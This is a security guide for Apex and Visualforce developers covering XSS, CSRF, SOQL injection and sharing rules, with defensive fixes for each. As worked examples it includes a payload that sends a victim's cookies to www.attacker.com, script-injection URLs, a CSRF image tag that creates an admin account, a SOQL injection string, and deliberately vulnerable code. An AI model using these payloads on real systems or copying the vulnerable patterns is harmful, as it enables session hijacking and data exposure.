Apex and Visualforce Security Tips
Security Tips for Apex and Visualforce Developers
Introduction
The powerful combination of Apex and Visualforce pages allow the Force.com developer to provide custom functionality and business logic to either extend one of the existing salesforce.com products or create a completely new stand-alone product running inside the Force.com platform. However, as with any programming language, the developer must be cognizant of potential security-related pitfalls. This article is a collection of several security-related recommendations and "gotchas" for Apex and Visualforce developers.
Salesforce.com has incorporated several security defenses into the Force.com platform itself. However, a careless developer can still bypass the built-in defenses in many cases and expose your application and customers to compromise. Many of the coding mistakes a developer can make on the Force.com platform are similar to general web application security vulnerabilities, while others are unique to Apex. This document does not attempt to explain web application security, but rather covers these security topics as they relate specifically to Apex and Visualforce. For more information on web application security flaws in general, see www.owasp.org.
It is important that any ISV partner or Force.com App Exchange developer learns and understands the security flaws describe here. Certified applications undergo a security review, which includes examination of the items described in this article.
Cross-Site Scripting (XSS)
Cross-site scripting attacks cover a broad range of attacks where malicious HTML or client-side scripting is provided to a web application. The web application includes the malicious scripting in a response to a user of the web application. The user then unknowingly becomes the victim of the attack. The attacker has used the web application as an intermediary in the attack, taking advantage of the victim's trust for the web application. Most applications that display dynamic web pages without properly validating the data are likely to be vulnerable. Attacks against the web site are especially easy if input from one user is intended to be displayed to another user. Some obvious possibilities include bulletin board or user comment-style web sites, news, or e-mail archives.
For example, assume the following script is included in a Force.com page via a script component, an on* event, or even an S-control:
<script>var foo = '{!$CurrentPage.parameters.userparam}';</script>
This script block will insert the value of the user-supplied "userparam" onto the page. The attacker could prove a value for userparam of:
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2
In this case, all of the cookies for the current page would be sent to www.attacker.com as the GET variable to the cookie.cgi script. At this point, the attacker has the victim's session cookie and can connect to the web application as if they were the victim.
The attacker can post the malicious script via a web input, e-mail, or news; web application users not only see the attacker's input, but their browser might execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety of attacks against the victim. These range from simple actions such as opening and closing windows, to more malicious attacks such as stealing data or session cookies, allowing the attacker full access to the victim's session.
For more information on this attack in general, see the following articles:
- http://www.owasp.org/index.php/Cross_Site_Scripting
- http://www.cgisecurity.com/articles/xss-faq.shtml
- http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
- http://www.google.com/search?q=cross-site+scripting
Within the Force.com platform we have several anti-XSS defenses in place. For example, we have implemented filters that screen out harmful characters in most output methods. For the developer using standard classes and output methods, the threats of XSS flaws have been largely mitigated.
However, the creative developer can still find ways to intentionally or accidentally bypass the default controls. The following sections show where protection does and does not exist.
Existing Protection
All standard Visualforce components (that that start with <apex>) have anti-XSS filters in place. For example, the following code would normally be vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user. But the <apex:outputText> tag is XSS-safe. All characters that appear to be HTML tags will be converted to their literal form. For example, the < character will be converted to < so that a literal < will display on the user's screen.
<apex:outputText>
{!$CurrentPage.parameters.userInput}
</apex:outputText>
Disabling escape on Visualforce tags
By default, nearly all Visualforce tags escape the XSS-vulnerable characters. It is possible to disable this behavior by setting the optional attribute escape="false". For example, the following output would be vulnerable to XSS attacks:
<apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />
Programming items that are not protected from XSS
The following items do not have built-in XSS protections and you should take extra care when using these tags and objects. The reason is simply because these items were intended to allow the developer to customize the page by inserting script commands. It would not make sense to include anti-XSS filters on commands that are intentionally added to a page.
S-Controls and Custom JavaScript
If you write your own JavaScript or S-controls, the Force.com platform has no way to protect you. For example, the following code is vulnerable to XSS if used in JavaScript:
<script>
var foo = location.search;
document.write(foo);
</script>
<apex:includeScript>
The <apex:includeScript> Visualforce component allows you to include a custom script on the page. In these cases be very careful to validate that the content is sanitized and does not include user-supplied data. For example, the following snippet is extremely vulnerable as it is including user-supplied input as the value of the script text. The value provided by the tag is a URL to the JavaScript to include. If an attacker can supply arbitrary data to this parameter (as in the example below), they can potentially direct the victim to include any JavaScript file from any other web site.
<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />
S-Control Template and Formula Tags
S-Controls give the developer direct access to the HTML page itself and includes an array of tags that can be used to insert data into the pages. As described above, S-Controls do not use any built-in XSS protections. When using the template and formula tags, all output is unfiltered and must be validated by the developer.
The general syntax of these tags is:{!FUNCTION()} or {!$OBJECT.ATTRIBUTE}
For example, if a developer wanted to include a user's session ID and in a link, they could create the link using the following syntax:
<a href=”http://example.com/integration/?sid={!$Api.Session_ID}&server={!$Api.Partner_Server_URL_130}”>Go to portal</a>
Which would render output similar to
<a href="http://partner.domain.com/integration/?sid=4f0900D30000000Jsbi%21AQoAQNYaPnVyd_6hNdIxXhzQTMaaSlYiOfRzpM18huTGN3jC0O1FIkbuQRwPc9OQJeMRm4h2UYXRnmZ5wZufIrvd9DtC_ilA&server=https://na1.salesforce.com/services/Soap/u/13.0/4f0900D30000000Jsbi">Go to portal</a>
Formula expressions can be function calls or include information about platform objects, a user's environment, system environment, and the request environment. An important feature of these expressions is that data is not escaped during rendering. Since expressions are rendered on the server, it is not possible to escape rendered data on the client using Javascript or other client-side technology. This can lead to potentially dangerous situations if the formula expression references non-system data (i.e. potentially hostile or editable) and the expression itself is not wrapped in a function to escape the output during rendering. A common vulnerability is created by the use of the {!$Request.*} expression to access request parameters
<html><head><title>{!$Request.title}</title></head><body>Hello world!</body></html>
This will cause the server to pull the "title" parameter from the request and embed it into the page. So, the request
http://example.com/demo/hello.html?title=Hola
would produce the rendered output
<html><head><title>Hola</title></head><body>Hello world!</body></html>
Unfortunately, the unescaped {!$Request.title} tag also results in a cross site scripting vulnerability. For example, the request
http://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3E
results in the output
<html><head><title>Adios</title><script>alert('xss')</script></title></head><body>Hello world!</body></html>
The standard mechanism to do server-side escaping is through the use of the traditional SUBSTITUTE() formula tag or the newer JSENCODE(), HTMLENCODE(), JSINHTMLENCODE(), and URLENCODE() functions. Given the placement of the {!$Request.*} expression in the example, the above attack could be prevented by using the following nested SUBSTITUTE() calls
<html>
<head>
<title>{! SUBSTITUTE(SUBSTITUTE($Request.title,”<”,”<”),”>”,”>”)}</title>
</head>
<body>Hello world!</body>
</html>
Depending on the placement of the tag and usage of the data, both the characters needing escaping as well as their escaped counterparts may vary. For instance, this statement:
<script>var ret = "{!$Request.retURL}";</script>
would require that the double quote character be escaped with its URL encoded equivalent of %22 instead of the HTML escaped ", since it's likely going to be used in a link. Otherwise, the request
http://example.com/demo/redirect.html?retURL= foo%22%3Balert('xss')%3B%2F%2F
would result in
<script>var ret = "foo";alert(‘xss');//”;</script>
Additionally, the ret variable may need additional client-side escaping later in the page if it is used in a way which may cause included HTML control characters to be interpreted.
Formula tags can also be used to include platform object data. Although the data is taken directly from the user's org, it must still be escaped before use to prevent users from executing code in the context of other users (potentially those with higher privilege levels). While these types of attacks would need to be performed by users within the same org, they would undermine the org's user roles and reduce the integrity of auditing records. Additionally, many orgs contain data which has been imported from external sources and may not have been screened for malicious content.
Cross-Site Request Forgery (CSRF)
CSRF flaws are less of a programming mistake as they are a lack of a defense. The easiest way to describe CSRF is to provide a very simple example. An attacker has a web page at www.attacker.com. This could be any web page and even provide valuable services or information in order to drive traffic to that site. Somewhere on the attacker's page, is an HTML tag that looks like this:
<img src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....." height=1 width=1 />
In other words, the attacker's page contains a URL that performs an action on your website. If the user is still logged into your web page when they visit the attackers' web page, the URL will be retrieved and the actions performed. This attack succeeds because the user is still authenticated to your web page. This is a very simple example and the attacker can get more creative by using scripts to generate the callback request or even use CSRF attacks against your AJAX methods.
For more information and traditional defenses, see the following articles:
- http://www.owasp.org/index.php/Cross-Site_Request_Forgery
- http://www.cgisecurity.com/articles/csrf-faq.shtml
- http://shiflett.org/articles/cross-site-request-forgeries
Within the Force.com platform, we have implemented an anti-CSRF token to prevent this attack. Every page will include a random string characters as a hidden form field. Upon the next page load, the application checks the validity of this string of characters and will not execute the command unless the value matches the expected value. This feature will protect you when using all of the standard controllers and methods.
Here again, the developer might bypass our built-in defenses without realizing the risk. For example, let's say you have a custom controller where you take the object ID as an input parameter, then use that input parameter in your own SOQL call. Consider the following code snippet:
<apex:page controller="myClass" action="{!init}"></apex:page>
public class myClass {
public void init() {
Id id = ApexPages.currentPage().getParameters().get('id');
Account obj = [select id, Name FROM Account WHERE id = :id];
delete obj;
return ;
}
}
In this case, the developer has unknowingly bypassed the anti-CSRF controls by developing their own action methods. The "id" parameter is read and used in the code. The anti-CSRF token is never read or validated. An attacker web page may have sent the user to this page via CSRF attack and could have provided any value they wish for the id parameter.
There are no built-in defenses for situations like this and developers should be cautious about writing pages that take action based upon a user-supplied parameter like the id variable in the preceding example. A possible work-around could be to insert an intermediate confirmation page before taking the action, to make sure the user intended to call the page. Other suggestions include shortening the idle session timeout for the organization and educating users to log out of their active session and not use their browser to visit other sites while authenticated.
SOQL Injection
In other programming languages, this flaw is known as SQL injection. Apex does not use SQL, but uses its own database query language, SOQL. SOQL is much simpler and more limited in functionality than SQL. Therefore, the risks are much lower for SOQL injection than for SQL injection, but the attacks are nearly identical to traditional SQL injection. In summary SQL/SOQL injection involves taking user-supplied input and using those values in a dynamic SOQL query. If the input is not validated, it may include SOQL commands the effectively modify the SOQL statement and trick the application into performing unintended commands.
For more information on SQL Injection attacks see:
- http://www.owasp.org/index.php/SQL_injection
- http://www.owasp.org/index.php/Blind_SQL_Injection
- http://www.owasp.org/index.php/Guide_to_SQL_Injection
- http://www.google.com/search?q=sql+injection
SOQL Injection Vulnerability in Apex
Below is a simple example of Apex and Visualforce code vulnerable to SOQL injection:
<apex:page controller="SOQLController" >
<apex:form>
<apex:outputText value="Enter Name" />
<apex:inputText value="{!name}" />
<apex:commandButton value="Query" action="{!query}“ />
</apex:form>
</apex:page>
public class SOQLController {
public String name {
get { return name;}
set { name = value;}
}
public PageReference query() {
String qryString = 'SELECT Id FROM Contact WHERE (IsDeleted = false and Name like \'%' + name + '%\') ' ;
queryResult = Database.query(qryString) ;
return null;
}
}
This is a very simple example but illustrates the logic. The code is intended to search for contacts that have not been deleted. The user provides one input value called "name". The value can be anything provided by the user and it is never validated. The SOQL query is built dynamically and then executed with the Database.query() method. If the user provided a "normal" value, the statement executes as expected:
name = Bob sqyString = SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')
However, what if the user provided unexpected input such as:
name = test%') or (Name like '
In that case, the qryString becomes:
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%test%') or (Name like '%')
Now the results will show all Contacts, not just the non-deleted ones. A SOQL Injection flaw can be used to modify the intended logic of any vulnerable query.
SOQL Injection Defenses
To prevent a SOQL injection attack, avoid using dynamic SOQL queries. Instead, use static queries and binding variables. The vulnerable example above could be re-written using static SOQL as follows:
public class SOQLController {
public String name {
get { return name;}
set { name = value;}
}
public PageReference query() {
String queryName = '%' + name + '%'
queryResult = [SELECT Id FROM Contact WHERE (IsDeleted = false and Name like :queryName)];
return null;
}
}
If you must use dynamic SOQL, use the escapeSingleQuotes method to sanitize user-supplied input. This method adds the escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead of database commands.
See the following pages from the Apex documentation for more:
Data Access Control
The Force.com platform makes extensive use of data sharing rules. Each object can have unique permissions for which users and profiles can read, create, edit, and delete. These restrictions are enforced when using all standard controllers.
When using a custom Apex class, the built-in profile permissions and field-level security restrictions are not respected during execution. The default behavior is that an apex class has the ability to read and update all data with the organization. Because these rules are not enforced, developers who use Apex must take care that they do not inadvertently expose sensitive data that would normally be hidden from users by profile-based permissions, field-level security, or organization-wide defaults. This is particularly true for Visualforce pages.
For example, consider the following Apex pseudo-code:
public class customController {
public void read() {
Contact contact = [Select id from Contact where Name = :value];
}
}
In this case, all contact records will be searched, even if the user currently logged in would not normally have permission to view these records.
The solution is to use the qualifying keywords "with sharing" when declaring the class:
public with sharing class customController {
. . .
}
The "with sharing" keyword directs the platform to using the security sharing permissions of the user currently logged in, rather than full access to all records. Additionally, developers should design their applications to respect an organization's object-level (CRUD) and field-level (FLS) security and to gracefully degrade in the event that an organization has restricted access to objects and fields.
For more information, see the following pages:
Summary
Traditional web applications have a tremendous number of potential flaws that the developer must be aware of. As we have shown here, the Force.com platform has taken extraordinary steps to both protect the developer from mistakes, and to mitigate many of the more dangerous flaws by incorporating advanced defenses. Developers should follow the recommendations included here and use a similar defensive mindset when creating Force.com applications.
This document will be updated periodically with additional security-related tips for Apex and Force.com applications.
Resources
- OWASP provides a large amount of reference material and tools relating to web application security
- OWASP Developer Guide An excellent guide to secure development for web applications